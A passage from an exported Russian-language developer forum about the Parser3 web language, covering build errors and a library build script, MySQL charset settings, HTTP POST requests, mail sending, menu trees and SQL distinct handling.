#define STDC_HEADERS 1\
#endif\
#ifdef __cplusplus\
extern \"C\" void std::exit (int) throw (); using std::exit;\
\
configure: exit 0\
\
--\
\
\
make\
\
---\
is of non-class type `int'\
parser3mysql.C:307: error: `sql_error' was not declared in this scope\
parser3mysql.C:316: error: request for member `before_rows' in `handlers', which\
is of non-class type `int'\
parser3mysql.C:316: error: `sql_error' was not declared in this scope\
parser3mysql.C:319: error: request for member `add_row' in `handlers', which is\
of non-class type `int'\
parser3mysql.C:319: error: `sql_error' was not declared in this scope\
parser3mysql.C:338: error: request for member `add_row_cell' in `handlers', whic\
h is of non-class type `int'\
parser3mysql.C:338: error: `sql_error' was not declared in this scope\
parser3mysql.C:344: error: `sql_error' was not declared in this scope\
parser3mysql.C: At global scope:\
parser3mysql.C:430: error: expected constructor, destructor, or type conversion\
before '*' token\
*** Error code 1\
\
Stop in /root/parser/parser-3.2.1/sql/parser3mysql-9.5.\
*** Error code 1\
\
Stop in /root/parser/parser-3.2.1/sql/parser3mysql-9.5.\
*** Error code 1\
\
Stop in /root/parser/parser-3.2.1/sql/parser3mysql-9.5.\
Press any key to continue...\
\
---"
"64259","Готовый у меня сейчас используется. А вот парсер пробывал собирать и использовать готовый.. Только не пойму в чем проблема.. Вроде все перекопал и перепробывал. Может у меня что-то в системе не установлено или версия какая-нибудь ... !!!\
\
---Парсер собирал из следующего скрипта\
#!/bin/sh\
\
# $Id: buildall-with-xml,v 1.1.2.5 2006/04/09 10:42:34 paf Exp $\
\
install_directory=$HOME/parser3install\
sendmail_command=\"/usr/sbin/sendmail -i -t -f postmaster\"\
\
echo \"buildall-with-xml\"\
echo \"Script author: Alexander Petrosian <paf@design.ru> (http://paf.design.ru)\"\
echo\
echo \"Building...\"\
\
parser3_directory=`pwd`\
cd ..\
project_directory=`pwd`\
mkdir src >/dev/null 2>&1\
\
if test ! -f \"$project_directory/gc/lib/libgc.a\"; then\
  cd $project_directory/src\
  echo \"Downloading libgc [1 lib of 3]...\"\
  wget -c http://www.hpl.hp.com/personal/Hans_Boehm/gc/gc_source/gc6.6.tar.gz\
  echo \"Unpacking...\"\
  gunzip -c gc6.6.tar.gz | tar vxf - >/dev/null\
  cd gc6.6\
  echo \"Configuring libgc...\"\
  CPPFLAGS=\"-DUSE_LIBC_PRIVATES -DUSE_MMAP -DUSE_MUNMAP\" \\\
  ./configure --prefix=$project_directory/gc --disable-threads --disable-shared --silent\
  echo \"Building libgc...\"\
  make\
  make install\
fi\
\
\
if test ! -f \"$project_directory/gnome/lib/libxml2.a\"; then\
  cd $project_directory/src\
  echo \"Downloading libxml [2 lib of 3]...\"\
  wget -c --passive-ftp ftp://xmlsoft.org/libxml2/libxml2-2.6.22.tar.gz\
  echo \"Unpacking... (be patient)\"\
  gunzip -c libxml2-2.6.22.tar.gz | tar vxf - >/dev/null\
  cd libxml2-2.6.22\
  #sax1, output, tree, xinclude[in libxslt], html[in libxslt, mode=html?] xptr[xinclude]-- needed!\
  echo \"Configuring libxml...\"\
  ./configure --prefix=$project_directory/gnome \\\
    --without-iconv --without-threads --without-debug \\\
    --without-iso8859x --without-legacy \\\
    --without-pattern --without-push --without-python \\\
    --without-reader --without-writer --without-readline --without-regexps \\\
    --without-schemas --without-schematron \\\
    --without-modules \\\
    --without-zlib \\\
    --disable-shared --silent\
  echo \"int main(){return 0;}\">testapi.c\
  echo \"int main(){return 0;}\">runtest.c\
  echo \"Building libxml...\"\
  make\
  make install\
fi\
\
if test ! -f \"$project_directory/gnome/lib/libxslt.a\"; then\
  cd $project_directory/src\
  echo \"Downloading libxslt [3 lib of 3]...\"\
  wget -c --passive-ftp ftp://xmlsoft.org/libxslt/libxslt-1.1.15.tar.gz\
  echo \"Unpacking... (be patient)\"\
  gunzip -c libxslt-1.1.15.tar.gz | tar vxf - >/dev/null\
  cd libxslt-1.1.15\
  echo \"Configuring libxslt...\"\
  ./configure --prefix=$project_directory/gnome \\\
     --with-libxml-prefix=$project_directory/gnome \\\
     --without-debug --without-debugger --without-crypto --without-plugins --disable-shared  --silent\
  echo \"Building libxslt...\"\
  make\
  make install\
fi\
\
cd $parser3_directory\
\
if test ! -f \"Makefile\"; then\
  echo \"Configuring parser3...\"\
  ./configure --prefix=$install_directory --with-dynamic-stdcpp \\\
     \"--with-sendmail=$sendmail_command\" \\\
     --with-static-gc=$project_directory/gc/lib \\\
     --with-static-xml=$project_directory/gnome \\\
     --silent \
fi\
echo \"Building parser3...\"\
make install\
echo \"DONE\"\
\
echo\
echo\
echo \"********************************************************************************************************\"\
echo \"Now you can copy $install_directory with subdirectories\"\
echo \"  -Parser3 with XML support-\"\
echo \"to your cgi-bin directory\"\
echo \"Read more about installing Parser here:\"\
echo \"  http://www.parser.ru/en/docs/lang/install4apachecgi.htm in English\"\
echo \"  http://www.parser.ru/docs/lang/install4apachecgi.htm in Russian\"\
echo \"********************************************************************************************************\"\
\
---"
"64260","[quot]\
база должна отражать существующую действительность\
[/quot]\
\
только прочитайте ещё раз что такое engine. что должна отражать его БД то она и отражает. я никогда не ставил задачу сделать универсальную БД под всё на свете. функционал реализуется обработчиками. их автор если хочет -- пусть делает регистрацию всего на свете в БД."
"64261","Использовал бинарник  из http://www.parser.ru/forum/?id=64177 с поддержкой xml/\
\
Базу увидел, но кирилица пропала. http://kombank.ru/site.html?youcongr=1\
\
Где копать?"
"64262","http://www.parser.ru/docs/lang/?app3mysql.htm"
"64263","P.S. новичок -- это не значит что он имеет право ничего не читать и задавать вопросы описанные на первых страницах докуметации и в FAQ. точнее право то такое он имеет, только удаляются _тут_ подобные вопросы.\
\
P.P.S. вы не осилили даже первый урок. предположу, что вы его не читали, а пробежали глазами, сделали copy/paste кода из него, у вас что-то не вышло и вы пошли задавать вопросы. почему я так считаю? да потому, что в первой уроке написано и про auto.p и про index.html (и его содержимое), и написано что куда писать. там-же написано что такое ^section.menu (это и есть один из циклов).\
\
P.P.P.S. \"календарь\" из уроков -- это абстрацкия, на примере которой показывается некоторый функционал. не надо его \"скипать\", даже если он не нужен. потом вопросов будет меньше."
"64264","хм. а что тогда в табл Block в поле Data - вместо файлов xml вы данные храните тут? или как? написано там криво :)) (без обид)"
"64265","[quot]\
Положение 5: К каждому объекту мы можем привязать любое количество динамических блоков, мы может определить функциональность этих блоков с помощью написанных для них обработчиков (парсерный код). Обработчик блока знает что нужно сделать с данными содержащимися в блоке перед складированием их в общую пачку xml-данных объекта.\
[/quot]\
\
[quot]\
Положение 6: Для хранения дополнительных файлов объекта (например картинки меню, фотографии, описания, скачиваемые файлы и т.д.) используется структура на диске аналогичная структуре дерева сайта и загруженный файл попадает в каталог, который для каждого объекта свой.\
Нигде в базе данных эти файлы не регистрируются...\
[/quot]\
\
[quot]\
DATA - тут лежат сами данные, вне зависимости от их типа. Это может быть xml, текст и т.д.\
[/quot]\
\
что именно тут написано \"криво\" или непонятно?"
"64266","блин, нельзя ответить \"да\" или \"нет\". но я понял все :) спасибо за терпение :)"
"64268","хорошо, спрашиваю: вы вообще используете xml-файлы, ведь эти же данные должны лежать в поле DATA? подчеркиваю: ЭТИ ЖЕ."
"64269","в поле DATA храниться то, что написано в описании. это НЕ ФАЙЛЫ, это куски xml (без xml declaration) в виде текста.\
\
P.S. пошли по кругу. я все ответы на эти вопросы дал. но их похоже как-то странно читают. я завязываю тут."
"64270","Установлена строчка: $connect_string[mysql://xxx:xxx@localhost/xxx?ClientCharset=windows-1251]\
\
Данные в базе windows-1251.\
\
Для сравнения php отображается в нормальной кодировке."
"64271","Но редактор в нём, ясное дело, тоже. Я, вроде, и не пиарил? =)"
"64272","[quot]\
для БД нужен как минимум сервер этой самой БД.\
[/quot]\
\
ну надо же. тогда может расскажете все ваши условия? а то может и дискового пространства для хранения файлов нету?\
\
если серьезно: то БД и только БД. то, что не требуется \"сервер БД\" -- аргумент сомнительный, особенно когда есть SQLite. например при хранении в файлах в виде xml для отображения списка статей, поиска статей или построения календаря требуется... перевернуть ВСЕ xml-и (создать xdoc-и, xpath-ом достать нужную информацию, как-то приложением это обработать). при хранении в БД почти все эти задачи примитивны и даже не заслуживают отдельного обсуждения."
"64273","\"Parser3 - это не язык программрования для новичков\" - ну тогда посмотрите на главную страницу parser.ru :-)))Напишите, что Парсер - это язык для продвинутых и гармонично развитых и что знаний только html Вам не будет достаточно :-))))"
"64279","Вопрос такого плана, как мне осуществить определенный запрос на определенный URL в Парсере? Нужна альтернатива CURL. Привожу пример на php. Ключ естественно выдуманный :-))))\
[code]\
<?\
   $xml='<charity.post>' \
       .'<id_fond>GH45Y-RE67H-UU77O-D2JJ9-56FSA</id_fond>' \
       .'<rows>100</rows>' \
       .'<name>fullname</name>' \
       .'</charity.post>'; \
  \
   $answer = xmlcharity(\"http://www.mydomain.com/change_charity.asp\", $xml);\
\
function xmlcharity($address, $xml){\
	$ch = curl_init($address);\
        curl_setopt($ch, CURLOPT_USERAGENT, \"Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)\");\
	curl_setopt($ch, CURLOPT_HEADER, 0);\
	curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);\
	curl_setopt($ch, CURLOPT_POST,1);\
	curl_setopt($ch, CURLOPT_POSTFIELDS, $xml);\
	$result=curl_exec($ch);\
    curl_close($ch);\
    return $result;\
}\
?>\
[/code]"
"64280","[code]\
$f[^file::load[text;http://www.mydomain.com/change_charity.asp;\
	$.method[POST]\
	$.headers[ \
		$.User-Agent[Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)]\
		^rem{ тут любые необходимые вам http заголовки }\
	]\
	$.form[\
		$.xml[ваш xml тут]\
		^rem{ тут любые необходимые вам дополнительные передаваемые POST-ом поля}\
	]\
	$.any-status(1) ^rem{ RTFM for details }\
]]\
Status: $f.status<br />\
Text: $f.text\
[/code]"
"64281","А я считаю, что статьи и новости - хранить правильней в БД, чем в файловой xml структуре. И если есть громадное количество тех же самых статей, можно делать распределенную БД. В xml можно выгружать, например каталог товаров для Яндекс.Маркета или формировать sitemap для Google. Создавать кучу папок и кучу файлов плохо, да и невыгодно. Это мое мнение."
"64282","Спасибо Миша, сейчас поэксперементирую.\
Смысл тут в чем, отправляем запрос на определенный URL, данные полей в запросе формируются из базы данных, получаем ответ в виде xml, ну а дальше нужно обработать этот xml и занести данные в базу данных. И запросы должны идти в цикле. Вообщем так в кратце, что в реале нужно. Спасибо еще раз, мне как раз было нужно как можно отправлять такой запрос.\
И еще вопрос - в Парсере есть возможность формировать хеш по алгоритму [b]sha256[/b]?? Я нашел только md5 и sha1."
"64283","Спасибо. Все получилось. Парсер не хотел задавать кодировку по умолчанию. Решил проблему в конфиге mysql. Запретил смену кодировки и установил кодировку по умолчанию."
"64284","пробовали так:\
$connect_string_mysql[mysql://login:password@mysql.host.nu/host?[b]charset=cp1251[/b]]?"
"64286","А если используешь граббер статей, то в данном случае лучше хранить в текстовой базе (разбить базу на категории - например ekonomika.db, sport.db, politika.db, it.db)Текстовая база выгодна, когда источник плохо читаем. Считываешь title страницы, выдераешь текст и вписываешь его в нужную тебе базу, например так:\
09.01.2008|Джордж Буш разорен|Сегодня.......(это типа текст статьи)\
Можно сделать еще лучше, например с анонсами:\
09.01.2008|Джордж Буш разорен|Сегодня...(короткий анонс)|Сегодня.......(это типа текст статьи)\
Смысл такой.\
С кодом на Парсере помочь не могу, второй день ток его изучаю :-)))"
"64287","А разработчики сделать могут?\
Кстати незнаю почему не требовалось, но популярная электронная валюта Liberty Reserve использует sha256 :-) Просто необходимо сделать sha256 :-)))"
"64290","Клиенту намного удобней так создавать статьи на сайте. Нет проблем с картинками. При обычном способое (HTML-редактор) нужно заливать текст и картинки отдельно, а потом прилинковывать. А в Ворде уже все вставляется на глазок. Почему никто так не делает - не знаю. Но моим клиентам очень удобной показалась такая функция, что я даже отказался от HTML-редактора (в моем движке его просто нету). \
\
Также удобно то, что файл всего один (вордовский). А сущностей в нем много: тексты, форматирование, картинки, таблицы, ссылки и так далее."
"64292","Размер файла - небось громадный, поэтому в лучшей позиции находится   база flatfile или какая-нибудь SQL база. Смысла нет просто так тратить место на винте, имхо лучше линковать. :-)Если один файл для одной статьи или один файл для всех статей, то это хорошо, когда статей 20 штук, а если их несколько тысяч или несколько десятков тысяч? Однозначно отпадает твой способ."
"64293","Любезный, уймитесь. Человек дело говорит, а вы ему — flatfile...\
Вордовский документ может быть очищен от лишнего мусора, после чего его объем уменьшится в разы в сравнении с тем, что вы себе можете представить. Вы попробуйте сделать в ворде документ так, как того хотели бы разработчики ворда (т.е. без форматирования по тексту, но с глобальными стилями документа). Я уверен, что результирующий документ будет сравнительно небольшим.\
Поэтому хотелось бы, чтобы вы, прежде чем делать заявления в стиле «Однозначно отпадает твой способ», привели какой-нибудь весомый аргумент в поддержку вашего заявления.\
\
2Сухроб Хусамов: Очень интересная идея! Хорошо было бы услышать несколько слов о механизме обработки и хранения документов."
"64294","У моих клиентов обычно в распоряжении гигабайт. Статей масса. А используется места обычно около 10-20%. Ну и что? Места хватает. А размер файлов обычно около 10-100 кб. Не вижу смысла на чем-то экономить. Вы просто не в теме. Я же практик. А вы теоретизируете на эту тему."
"64295","Все сделано на парсере. Конечно есть недостатки. Где без них. Но кое-что исправимо.\
\
Странно что никто не использует сей способ. А как узнает - тут же внедряет в свой двигатель:) Наверное стоит о нем написать статью.\
\
Итак, способ очень прост. Даже изучать DOC-формат не нужно.\
\
Делаем файл в ворде с учетом некоторых несложных правил (типа списками не пользоваться или с осторожностью их использовать).\
Сохраняем в формате... WordML. Или попусту в XML.\
И все.\
\
Этот XML разбирается с помощью класса msword.p (при желании могу поделиться).\
И на выходе выдается уже более удобный XML без всякого мусора. И картинки тоже.\
\
Позже я хочу сделать конвертер из DOC-формата. Ибо заставлять клиента хранить статьи в формате XML не совсем гуманно (хотя они особо не жалуются, ибо очень им нравится возможность не париться с картинками).\
\
Есть еще несколько неприятных нюансов, связанные с тем, что формат WordML очень сложен и порой вместо текста там записывается что-то на внутреннем языке программирования. Например, бывает что вместо того, чтобы просто прописать ссылку, там записывается целая программа, генерирующая эту ссылку. В результате у меня эта ссылка превращается в обычный текст. Поэтому нормальный конвертер из DOC во что-то XML-евское нужен как логичное развитие этой темы."
"64296","Да, поделиться — это было бы очень хорошо.\
Почитал XML-файл вордовский: в общем разобраться можно, но времени займет много. А картинки там случайно не в base64 хранятся?"
"64302","Я настолько ленивый, что не стал читать спецификацию WordML, а просто взял и по существующим файлам создал соответствующий XSL-конвертер.\
[quote]Да, поделиться — это было бы очень хорошо.[/quote]\
Пишите khusamov@yandex.ru\
[quote]А картинки там случайно не в base64 хранятся?[/quote]\
Да, в нем. А парсер как раз может их кодировать и раскодировать."
"64303","Ситуация такая, нужно построить из двух таблиц MySQL, примеры Миши рекурсии  я посмотрел, только не помогли, дерево меню. Используется как всегда [b]id[/b] и [b]parent_id[/b]. Я упростил таблицы, чтобы было понятно всем. Речь идет именно о том, как построить дерево из двух таблиц. Очень прошу не задавать вопросы, а зачем это надо, ведь проще все данные внести в одну таблицу `cat`. Для моего случая, [i]таблиц должно быть две[/i]. [b]Поможите разобраться с рекурсией[/b] :-))))\
[code]\
CREATE TABLE `cat` (\
	  `id` int(11) NOT NULL auto_increment,\
	  `parent_id` int(11) NOT NULL default '0',\
	  `name` text NOT NULL,\
	  PRIMARY KEY  (`id`)\
	)TYPE=MyISAM;\
\
INSERT INTO `cat` VALUES (1, 0, 'Контора');\
INSERT INTO `cat` VALUES (2, 1, 'Партнеры конторы');\
\
CREATE TABLE `subcat` (\
	  `id` int(11) NOT NULL auto_increment,\
	  `parent_id` int(11) NOT NULL default '0',\
	  `charkey` int(11) NOT NULL default '0',\
	  `name` text NOT NULL,\
	  PRIMARY KEY  (`id`)\
	)TYPE=MyISAM;\
\
INSERT INTO `subcat` VALUES (100, 2, 22222, 'Вася Пупкин и Со');\
INSERT INTO `subcat` VALUES (101, 2, 33333, 'Чукотская свиноферма');\
INSERT INTO `subcat` VALUES (102, 2, 44444, 'СК Выщипанные брови');\
INSERT INTO `subcat` VALUES (103, 2, 55555, 'ЧОП Отмороженный баклан');\
INSERT INTO `subcat` VALUES (104, 2, 66666, 'Очаковский минеральный завод');\
[/code]"
"64304","Посмотрел тут вывод картинок и офигел:\
$photo[^image::measure[parser.gif]] \
^photo.html[]\
Физически Parser мне вывел html строку в которую вписал автоматом размер картинки, круто, ничего не скажешь :-))))И если мне еще кто-нить подскажет, как делать переход на новую строку \\n и дерево из двух таблиц, вообще мне будет счастье :-))))\
-------------------\
Уважаемые разработчики, убедительная просьба сделать: \
1) sha256.\
2) sha512.\
3) нормальный обработчик ошибок.\
4) метод закрытия соединения с базой данных, мне так никто не ответил, как это делается, в документации не нашел. Соединение должно быть открыто и закрыто.\
5) И если не лень, отдельный метод работы с внешними ресурсами с POST и GET, что-то наподобие php CURL."
"64305","3) В документации есть такой раздел: «Вывод необработанных ошибок» http://www.parser.ru/docs/lang/?exceptionunhandled.htm\
4) В документации есть такой урок: «Урок 4. Шаг второй - переходим к работе с БД» http://www.parser.ru/docs/lang/?lesson4.htm\
5) В документации есть такой раздел: «Form (класс)» http://www.parser.ru/docs/lang/?formclass.htm\
\
Вы так и не потрудились вникнуть даже в уроки. Прочитайте их — вам многое сразу станет понятно.\
\
Переход на новую строку делается клавишей Enter :)"
"64311","mag - Спасибо - с ошибками понял, только все равно не нашел как закрывать соединение с mysql. Что-то наподобие ^connect_close."
"64312","Цитата из документации:\
\
[quote]Сессия работы с базой данных находится внутри оператора connect, общий синтаксис которого:\
\
[code]^connect[протокол://строка соединения]{методы, передающие запросы SQL}[/code]\
\
[/quote]\
\
Что здесь непонятно?"
"64314","Имхо, правильно сделано.\
\
Как аналогия с using {} в C#, когда исполнится код внутри {}, объект автоматически \"закрывается\".\
\
[code]using { ... }[/code]\
Вместо\
[code]obj.init();\
obj.close();[/code]"
"64315","Сколько держится сессия? \
Как грохнуть эту сессию, после завершения моих действий с базой, руками?"
"64316","Modjo спасибо! Хоть Вы доходчиво обьяснили!"
"64327","1. вы что-то делаете _сами_ (пишите код)\
2. если что-то не получается, то читаете доку, FAQ, думаете.\
3. если и после этого проблемы остаются, то задаёте вопрос.\
\
P.S. причина, по которой удалены все ответы описана а FAQ. ваше корневое сообщение не удалено чтобы донести _лично_для_вас_ это."
"64328","за 2 дня зафлудили весь форум - даже я в свое время себе такого не позволял).\
\
Итак - качаете документацию в формате .chm, распечатываете (по возможности), берете чай/кофе/сок/пиво на выбор, садитесь и первый раз просто_читаете, и вникаете в суть. Повторяю - просто читаете, не пытаясь сразу реализовывать на компьютере те или иные примеры. Читаете от начала до конца.\
\
Потом устанавливаете на комп веб-сервер, Парсер, БД, редактор. Читаете документацию еще_раз_сначала и пытаетесь писать код из уроков. Опять же, вопросов у вас не будет возникать, только если вы полностью вникли в суть Парсера.\
\
После успешной реализации всех уроков на компе, можете приступать к разделу \"Примеры\". Просмотрите код, отметьте для себя некоторые приемы написания. Там очень много полезного и покрыто немало важных моментов. Следите за написанием кода - здесь принята, если не ошибаюсь, венгерская нотация. Это поможет другим быстрее и точнее понимать ваш код в вопросах.\
\
И только после этого можно приниматься за какие-либо реальные задачи."
"64329","если бы вы вникли в документацию, то вы бы увидели, что там написано, что метод .html делает именно то, что он вам сделал (если _подумать_, что может делать метод с названием 'html' у объекта 'изображение', то мне в голову в общем больше ничего и не приходит, кроме как выдача html-тега для этого изображения). если вам надо другое (выдать саму картинку) -- просто выдайте её (пробежаться глазами по методам объекта, если вы уж взялись работать с ним -- мне кажется довольно логичный подход)\
\
1, 2: поищите в форуме, сколько раз за 5 лет существования парсера эти очень популярные методы хеширования кому-либо потребовались. вывод очевиден: они не нужны настолько, чтобы добавлять их в язык. если кому-то изредка нужны, то их можно элементарно реализовать с помощью внешних скриптов, и вызывать эти скрипты парсером. кроме того, вы приводите безусловно очень популярную в рунете платёжную систему, но я почти уверен, что пользоваться этой системой можно используя не только упомянутые алгоритмы хеширования, но и более распространённые.\
\
3. RTFM: try, throw\
\
4. соединение открывается на месте символа '{' у оператора connect, а закрывается на символе '}'. соединения с одинаковой строкой соединения кешируются.\
\
5. для работы с внешними ресурсами есть единственный оператор file::load (всего один метод. для всего). я вам привел пример его использования и там даже написано было $.method[POST]. по моему восьмикласник смог бы предположить, что возможно есть и $.method[GET], и дабы удостовериться заглянул бы в документацию."
"64332","Мужики,а че с хешом делать то?? Может кто покажет, дерево я построил вот так - выводит как нуно. Естественно возникает вопрос,а правильно ли я сделал или можно более правильней? \
[code]\
@дерево[]\
^connect[$connect_string]{ \
   $cat[^table::sql{select \
     id, parent_id, name \
    from \
        cat \
   order by parent_id, name\
   }]\
       ^cat.menu{ \
         <ul>\
             <li><a href=\"index.asp?id=$cat.id\">$cat.name</a>\
 \
       } \
\
   $subcat[^table::sql{select \
          id, parent_id, name \
         from \
           subcat \
         order by parent_id, name\
         }]\
       <ul>\
       ^subcat.menu{ \
                 <li><a href=\"index.asp?id=$subcat.id\">$subcat.name</a></li>\
 \
       }\
   </ul>\
   </li>\
   </ul>\
   </li>\
   </ul> \
 ^cat.join[$subcat]\
}\
[/code]"
"64334","[code]'/usr/sbin/sendmail' reported problem: UNKNOWN (1)[/code]\
\
Собственно все сообщения в поиске я перечитал. Фишка в том, что стоит крон на рассылку почты и вызывает отдельный mail.p и рассылает почту — [b]всё рассылается отлично[/b] уже не первый месяц.\
\
Попробовал послать почту не с помощью крона, а просто из скрипта — [b]получаю[/b] такую [b]ошибку[/b]. Все варианты, которые есть в поиске уже перпробовал.\
\
А чё делать?\
\
[code]^mail:send[\
	$.from[info <info@site.ru>]\
	$.to[not <not_info@not_site.ru>]\
	$.subject[subject]\
	$.text[text]\
][/code]"
"64335","Недавно один грек пришёл на список рассылки по libgc, и поднял ту же тему:\
[url=\"http://thread.gmane.org/gmane.comp.programming.garbage-collection.boehmgc/1969\"]Mentality of c/c++ programmers when it comes to gc[/url]\
\
про граф:\
если чуть глубже в API libgc копнуть, то сборщику мусора можно активно помогать!\
указав точнее, какие поля выделенной памяти суть указатели (а какие – нет).\
я это только пока читал, реально не пробовал.\
но такой подход такой активно применяют в ObjectiveC, и похожий подход реализациях java/C#."
"64336","Нормально работает!!! Только что проверил!\
в auto.p тебе нуно вот это:\
[code]\
$MAIL[\
	$.SMTP[smtp.domain.ru]\
]\
[/code]\
Вот это работает:\
[code]\
@main[]\
^почта[]\
\
@почта[]\
^mail:send[ \
      $.from[Вася <test@xxx.ru>] \
      $.to[Петя <test@xxx.ru>] \
      $.subject[Проверка работы] \
      $.text[Вообщем текст сообщения!] \
] \
[/code]"
"64337","Да, но ведь это лежит в auto.p на уровне с parser.cgi? Или это и имелось ввиду?\
\
[code]$MAIL[\
	$.SMTP[smtp.domain.ru]\
][/code]"
"64338","хэш надо использовать... если нужно конечно.\
\
раз вы говорите что этот пример показывает то что нужно - значит вы не правильно сформулировали слово \"дерево\".\
\
В вашем примере вы полностью вытащили из базы две таблицы и сделали из них html. Все!\
\
отменюшили криво - посмотрите внимательно какой у вас получился html."
"64339","http://www.parser.ru/forum/?id=55702\
\
я не очень понял - у вас при любой отправке эта ошибка ловится или при определенных обстоятельствах?\
\
Если при любой - пинать админов или переходить на SMTP\
Если не при любой - где то ошибки в адресах скорее всего."
"64340","Там 3 тыщи подписанных и всё отправляется кроном на ура.\
\
А када просто руками пытаюсь — болт.\
\
Сообщение Пафа полностю исчерпано =)"
"64341","возьмите кусок из вашего mail.p и суньте туда где руками написали - и что sendmail ругаться будет???"
"64342","А вот я и туплю... Не понятно же.\
\
[code]^mail:send[\
	$.from[info <info@site.ru>]\
	$.to[not <not_info@not_site.ru>]\
	$.subject[subject]\
	$.text[text]\
][/code]\
\
[b]Site.ru[/b] — там домен реальный, [b]not_info@not_site.ru[/b] — [url=\"http://www.mailpic.ru/+/V4LnJ1XC90Mg==dGV6cm9AeWFuZG.gif\"]моя почта[/url]."
"64343","В auto.p в корне ты можешь переписать настройку."
"64344","Как вариант - поискать - не определен ли где SMTP - может тот кто писал модуль рассылки (вы?) - когда то уже наткнулся на эту проблему и решил ее именно так?\
\
$MAIL можно переопределить не только в конф.п"
"64345","Тока это бред какой-то...\
\
Сделал пока так, пусть работает, но это не решение проблемы."
"64347","и что сделали что все заработало?"
"64348","Бред то, что несмотря на то, что $MAIL объявлен в auto.p в cgi-bin и нигде больше, чтобы нормально заработал вызов ^mail[] я объявляю его в корневом auto.p.\
\
Не думаю, что это как-то зависит от того, что скрипт рассылки, вызываемый по крону лежит вне веб пространства."
"64349","Каким образом при указании параметра $.distinct(1) выбираются записи с уникальным ключом? Методом тыка выяснил, что выбирается [b]первая запись[/b] с данным ключом, а остальные игнорируются. Всегда ли так?"
"64350","Текст для анонса на http://www.parser.ru/download/win32/ следующий\
\
Денвер-3 (Джентльменский набор Web-разработчика)\
Ссылка: http://www.denwer.ru/dis/Base_Parser/latest\
Размер 6.9М\
\
Включает автоматический инсталлятор, Parser 3.2.2 с поддержой XML и MySQL, отладочный эмулятор SMTP-сервера для тестирования отправки почты из Parser-скриптов, Apache 2.2.4 с поддержкой SSL, MySQL 5.0 и PHP 5.2.4, а также и phpMyAdmin для администрирования MySQL. Не требует никакого конфигурирования, все настраивается автоматически. Умеет запускаться с флэш-накопителя, работает во всех Windows (включая Vista), а также поддерживает автоматическое создание именованных виртуальных хостов при простом добавлении соответствующей папки в /home."
"64351","хочу вот так:\
есть некая таблица со столбиком и id и данные из формы в которой поля именуются как $table.id\
мне нужно получить данные из формы аля $form:$table.id\
\
все, уже разобрался.\
$form:[$table.id]"
"64352","[code]\
^rem{кладем все значения что пришли в hash}\
$hForm[$form:fields]\
^rem{после чего достаем все что надо}\
$hForm.[$table.id]\
[/code]\
\
может кто-то подскажет проще вариант"
"64353","однако если вы хотите использовать $.distinct(1) как раз для того, чтобы получить разные данные, но с его помощью оставить только \"первую\" строку, то не делайте так, а пересмотрите ваш подход (подзапрос, несколько запровос, и т.д.). это некое нарушение в SQL и никакой другой SQL сервер (да и MySQL с strict mode) не позволит вам сделать подобного."
"64356","если скрипт, то возможно отправляльщику (sendmail-у или smtp серверу) не нравится _один_ из адресов. поместите инструкцию отправки в try и в catch секции запишите необходимую вам для анализа информацию в лог файл."
"64357","вы достали _все_ записи из таблицы cat (а если их там пара тысяч?) и вывели их все (криво: перед каждой поставили <ul>), после этого вы достали _все_ записи из subcat, тоже вывели их в отдельном <ul/?, после этого зачем-то сзяли и объединили данные из cat с данными из subcat.\
\
иерархии у нас не получилось никакой (вы и сами наверное заметили, что parent_id, который вы достали, вы нигде не использовали). кроме того, чтобы дать вам хоть какую-то подсказку о том, как выводить ваши данные в виде дерева нужно знать что эти данные из себя представляют, а конкретнее: как соотноcятся друг с другом id и parent_id в таблицах cat _и_ subcat. сейчас можно придумать много вариантов, какой из них ваш -- неясно."
"64358","про strict mode я понимаю. Довольно сложный запрос получается, если так не делать. А много данных в том месте не бывает."
"64360","...а затем из таблицы делать хеш таблиц ($.distinct[tables]). так у вас будут доступны все записи в случае чего. \
\
хотя я не знаю конкретной задачи, может это и не надо."
"64361","вот надо сделать вывод такого же xml, как и в MS SQL Server с помошью FOR XML AUTO, но для MySql и др. СУБД. никто не делал такого? пролема с созданием xml при связывании нескольких таблиц, т.е. чтобы данные были вложенными. код не нужен, нужна идея."
"64362","[quote]...а затем из таблицы делать хеш таблиц ($.distinct[tables])[/quote]\
Я думал, что ^hash::sql{запрос}[$.distinct(1)] делает точно то же самое. Но, выходит, в случает с хэшем это где-то на уровне клиента MySQL делается?\
\
[b]Задача - получить атрибуты объекта (по id), у которых дата создания максимальна, но меньше заданной.[/b] Это откат редактирования свойств в админке CMS. При редактировании объекта может изменяться только одно свойство. То есть, даты у всех свойств могут быть разными. Последнюю версию выбрать - не проблема. А тут нужно сделать, например, 5 шагов undo.\
\
[code]$prop_hash[^MAIN:pSQL.hash{\
  SELECT attribute AS at, i_value, f_value, t_value\
  FROM $sAttributesTableName\
  WHERE object_id = '$id'\
    AND dt <= ( SELECT DISTINCT dt\
                FROM $sAttributesTableName\
                WHERE object_id = '$id'\
                ORDER BY dt DESC\
                LIMIT $undo_step_count, 1 )\
  ORDER BY dt DESC\
}[$.distinct(1)]][/code]\
\
Я планировал сгруппировать данные по `attribute`, но получалось, что в результат попадают только первые значения (ORDER BY не помогает).\
\
Сейчас оставлю так, а к финальному релизу напишу запрос посложнее (видимо, с временными таблицами)."
"64363","$.distinct(1) делает совсем не тто-же самое.\
\
для этой задачи я бы однозначно делал бы table::sql + последующий $.distinct[tables] -- ключем был бы аттрибут, а значением -- таблица со всеми его предыдущими N значениями.\
\
если я правильно понял задачу, то надо одним запросом достать все уникальные аттрибуты объекта, дата у которых меньше заданной, то текущий ваш запрос делает не то что требуется.\
\
но сейчас на вскидку я не могу придумать корректный и красивый запрос (всё ещё отдыхаю, напрягать моск лень %-) ) для решения данной задачи, хотя сам с подобными задачами сталкивался."
"64364","Насчет table:sql я разобрался. Не удомно это мне, т.к. следующим шагом после запроса делаю вот что:\
[code]$hAttributes[\
  ^prop_hash.foreach[key;hash]{\
    ^rem{ объединяются значения всех полей БД (i_value, f_value, t_value, d_value...) }\
    ^rem{ предполагается, что для одного свойства есть только один тип значения }\
    $.$key[^hash.foreach[attribute;value]{$value}]\
  }\
][/code]\
И я получаю хэш, у которого есть ключ (название атрибута) и единственное значение. Дальше оно идет в xml, тип данных там не важен.\
\
\
Запрос, вроде бы, делает именно то, что должен.\
